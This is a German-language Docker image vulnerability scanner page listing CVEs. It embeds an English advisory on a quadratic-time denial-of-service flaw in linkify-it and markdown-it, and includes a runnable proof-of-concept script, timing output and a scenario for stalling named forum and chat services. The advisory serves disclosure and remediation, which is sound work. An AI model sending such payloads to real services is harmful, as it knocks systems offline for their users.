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Docker-Image-Sicherheitslücken-Scanner

58 Bekannte Sicherheitslücken in diesem Docker-Image

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Kritisch
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Hoch
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Info/ Unbestimmt/ Unbekannt
CVE-IDSchweregradPaketBetroffene VersionBehobene VersionCVSS-Score
CVE-2026-48801highpkg:npm/linkify-it@5.0.0<=5.0.05.0.18.7

Summary

LinkifyIt.prototype.match — the package's primary public API — has O(N²) algorithmic complexity for inputs containing many fuzzy links or emails. This is not a regex backtrack bug; it's a structural issue in the JS-level scan loop that re-slices the input and re-runs unanchored regex searches on progressively shorter tails, N times.

64 KB of "a@b.com\n" repeated burns ~2.5 s of single-threaded CPU; 128 KB takes ~10 s. Doubling the input quadruples the time — textbook O(N²).

The same cost passes through markdown-it (linkify:true) unmodified. Any service that synchronously renders untrusted Markdown with linkify enabled on a request hot-path (forums, comments, chat, wikis, AI chat UIs) inherits a worker-process DoS triggerable by a tens-of-KB request body.

Affected component

  • HEAD audited: 8e887d5bace3f5b09b1d1f70492fa0364ef1793d (v5.0.0)
  • Vulnerable function: LinkifyIt.prototype.matchindex.mjs:528-554
  • Re-scan call sites inside test(): index.mjs:444 (fuzzy host search), :448 (fuzzy link match), :467 (fuzzy email match)
  • Transitive consumer: markdown-it (~21.6M weekly npm DLs) calls linkify.match() at lib/rules_core/linkify.mjs:57 when linkify:true
  • All versions affected — the vulnerable loop exists since the initial commit (2014) through v5.0.0

Vulnerability details

The O(N²) outer loop

index.mjs:528-554:

LinkifyIt.prototype.match = function match (text) {
  const result = []
  let shift = 0
  let tail = shift ? text.slice(shift) : text

  while (this.test(tail)) {
    result.push(createMatch(this, shift))
    tail = tail.slice(this.__last_index__)   // <-- re-allocates remaining tail each iteration
    shift += this.__last_index__
  }

  if (result.length) return result
  return null
}

The loop iterates O(N) times (once per match). Each iteration:

  1. tail.slice() re-allocates a string of length |text| - shift — O(N) per iteration
  2. this.test(tail) runs three unanchored regex searches over the full new tail:
// index.mjs:444 — full-tail search
tld_pos = text.search(this.re.host_fuzzy_test)
// index.mjs:448 — full-tail match
ml = text.match(this.re.link_fuzzy)
// index.mjs:467 — full-tail match
me = text.match(this.re.email_fuzzy)

Total cost: Σ(N - i*c) for i=0..N = O(N²).

Contrast with the linear schema branch

The schema-prefixed scan in the same test() function does it correctly at index.mjs:428-440:

re = this.re.schema_search
re.lastIndex = 0
while ((m = re.exec(text)) !== null) { ... }

That branch uses a g-flag RegExp and advances lastIndex — linear. The fuzzy branches don't follow this pattern.

Proof of concept

mkdir /tmp/linkifyit-redos && cd /tmp/linkifyit-redos
npm install linkify-it@5.0.0

cat > poc.mjs <<'EOF'
import LinkifyIt from 'linkify-it'
const l = new LinkifyIt()
for (const n of [1000, 2000, 4000, 8000, 16000]) {
  const evil = 'a@b.com\n'.repeat(n)
  const t0 = process.hrtime.bigint()
  l.match(evil)
  const ms = Number(process.hrtime.bigint() - t0) / 1e6
  console.log(`n=${n} bytes=${evil.length} took ${ms.toFixed(0)} ms`)
}
EOF
node poc.mjs

Measured output (Node v25.5.0, Apple Silicon)

n=1000  bytes=8000    took 44 ms
n=2000  bytes=16000   took 159 ms
n=4000  bytes=32000   took 628 ms
n=8000  bytes=64000   took 2506 ms
n=16000 bytes=128000  took 9948 ms

Doubling N → ~4× wall-clock, consistent with O(N²).

markdown-it transitive (independently confirmed)

npm install markdown-it@14.1.1
node -e "
  const md = require('markdown-it')({ linkify: true })
  for (const n of [1000, 2000, 4000, 8000]) {
    const evil = 'a@b.com '.repeat(n)
    const t0 = process.hrtime.bigint()
    md.render(evil)
    const ms = Number(process.hrtime.bigint() - t0) / 1e6
    console.log('n=' + n + ' bytes=' + evil.length + ' md.render=' + ms.toFixed(0) + 'ms')
  }
"
n=1000 bytes=8000   md.render=45ms
n=2000 bytes=16000  md.render=171ms
n=4000 bytes=32000  md.render=672ms
n=8000 bytes=64000  md.render=2636ms

Same quadratic curve. 64 KB is enough to burn 2.6 s in markdown-it.render().

Impact

  • Availability (High): A single HTTP request containing tens of KB of repeated email-like strings blocks one worker thread for seconds to tens of seconds. Under moderate concurrency (10-50 requests), the entire rendering tier of an affected service is wedged.
  • No confidentiality or integrity impact.

Real-world scenario: Any service that renders untrusted Markdown with linkify:true on the request path — Discourse, Mattermost, GitLab CE, AI chat UIs (Open WebUI, LibreChat), wiki/note apps using markdown-it — receives a post/comment containing 64 KB of "a@b.com ". The render call blocks the worker for 2.5+ seconds. Scripted at scale, this wedges the rendering tier.

Suggested remediation

The fix is algorithmic — convert the outer scan loop to stateful regex iteration so each character is examined a constant number of times:

  1. Add the g flag to email_fuzzy, link_fuzzy, link_no_ip_fuzzy, host_fuzzy_test in lib/re.mjs
  2. Rewrite test() (or add testAt(text, pos)) so fuzzy branches set re.lastIndex = pos and call re.exec(text) instead of text.match()/text.search() on a sliced tail
  3. In match(), drop tail = tail.slice(...) entirely — advance a pos offset instead

The schema branch at index.mjs:428-440 is already structured this way — it's the in-repo precedent for the fix.

// proposed sketch
LinkifyIt.prototype.match = function match (text) {
  const result = []
  let pos = 0
  while (this.testAt(text, pos)) {
    result.push(createMatch(this, 0))
    pos = this.__last_index__
  }
  return result.length ? result : null
}

Total cost becomes O(N): each character scanned at most once per regex across the whole loop.

Duplicate-risk analysis

  • Zero GHSAs on linkify-it (gh api /repos/markdown-it/linkify-it/security-advisories[])
  • Zero OSV entries (api.osv.dev/v1/query{})
  • markdown-it's only GHSA (CVE-2022-21670, "Possible ReDOS in newline rule") targets markdown-it's own newline regex, not the linkify pipeline

This finding appears novel.

Note to maintainers

Since markdown-it is the dominant consumer and shares maintainership (Vitaly Puzrin), a patched linkify-it release should be paired with a markdown-it minor that pins the new minimum version.

Package URL(s):
  • pkg:npm/linkify-it@5.0.0
CVE-2023-30533highpkg:npm/xlsx@0.20.2>=0not fixed7.8
CVE-2024-22363highpkg:npm/xlsx@0.20.2>=0not fixed7.5
CVE-2026-12151highpkg:npm/undici@6.24.1<6.27.06.27.07.5
GHSA-p6gq-j5cr-w38fhighpkg:npm/nodemailer@8.0.10<=9.0.09.0.17.1
CVE-2026-45149mediumpkg:npm/brace-expansion@5.0.5>=5.0.0,<5.0.65.0.66.5
CVE-2026-9679mediumpkg:npm/undici@6.24.1<6.27.06.27.05.9
CVE-2024-1899mediumpkg:npm/showdown@2.1.0<=2.1.0not fixed5.3
CVE-2026-50219mediumlibexpat<2.8.2-r02.8.2-r04.9
CVE-2016-2781mediumcoreutils-env<=9.11-r0not fixed4.6

Schweregradstufen

Ausnutzung könnte zu schwerwiegenden Konsequenzen wie Systemkompromittierung oder Datenverlust führen. Erfordert sofortige Aufmerksamkeit.

Sicherheitslücke könnte relativ leicht ausgenutzt werden und erhebliche Auswirkungen haben. Erfordert zeitnahe Aufmerksamkeit.

Ausnutzung ist möglich, erfordert aber möglicherweise spezifische Bedingungen. Auswirkungen sind moderat. Sollte zeitnah behoben werden.

Ausnutzung ist schwierig oder die Auswirkungen sind minimal. Kann bei Gelegenheit oder im Rahmen der regulären Wartung behoben werden.

Schweregrad ist nicht bestimmt, informativ oder vernachlässigbar. Überprüfung je nach Kontext.

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Über den CVE-Scanner

Der CVE-Scanner ist ein leistungsstarkes Tool, das dir hilft, bekannte Sicherheitslücken in deinen Docker-Images zu identifizieren. Indem deine Images mit einer umfassenden Datenbank von Common Vulnerabilities and Exposures (CVEs) abgeglichen werden, kannst du sicherstellen, dass deine Anwendungen sicher und auf dem neuesten Stand sind. Für weitere Details, schau dir die NIST CVE-Datenbank an.

Warum CVE-Scanning für deine Docker-Images wichtig ist

Mit dem Anstieg von Supply-Chain-Angriffen ist die Sicherung deiner Anwendungen wichtiger denn je. CVE-Scanning spielt eine entscheidende Rolle bei der Identifizierung von Sicherheitslücken, die von Angreifern ausgenutzt werden könnten, insbesondere solche, die durch Abhängigkeiten und Drittanbieter-Komponenten eingeführt werden. Regelmäßiges Scannen und Sichern deiner Docker-Images ist essenziell, um deine Anwendungen vor diesen sich entwickelnden Bedrohungen zu schützen.

Was ist eine CVE?

CVE steht für Common Vulnerabilities and Exposures. Es ist ein standardisierter Bezeichner für bekannte Sicherheitslücken, der Entwicklern und Organisationen ermöglicht, potenzielle Risiken effektiv zu verfolgen und zu beheben. Für weitere Informationen, besuche cve.mitre.org.

Vorteile des CVE-Scannens

  • Erhöhte Sicherheit: Erkenne und behebe Sicherheitslücken, bevor sie ausgenutzt werden.
  • Compliance: Erfülle Branchenstandards und regulatorische Anforderungen für sichere Software.
  • Proaktive Wartung: Bleibe potenziellen Bedrohungen einen Schritt voraus, indem du Sicherheitslücken frühzeitig behebst.

Wie der CVE-Scanner funktioniert

Der CVE-Scanner analysiert deine Docker-Images anhand einer umfassenden Datenbank bekannter Sicherheitslücken. Er nutzt Docker Scout im Hintergrund, um detaillierte Einblicke in betroffene Pakete, Schweregradstufen und verfügbare Fixes zu liefern, sodass du sofort handeln kannst.

Die Bedeutung des Patchens von Docker-Images

Das Patchen deiner Docker-Images ist ein entscheidender Schritt, um die Sicherheit und Stabilität deiner Anwendungen zu gewährleisten. Durch regelmäßige Updates deiner Images mit den neuesten Sicherheitspatches kannst du bekannte Sicherheitslücken beheben und das Risiko einer Ausnutzung reduzieren. Dieser proaktive Ansatz stellt sicher, dass deine Anwendungen widerstandsfähig gegenüber neuen Bedrohungen bleiben und hilft, die Einhaltung von Sicherheitsstandards zu gewährleisten.

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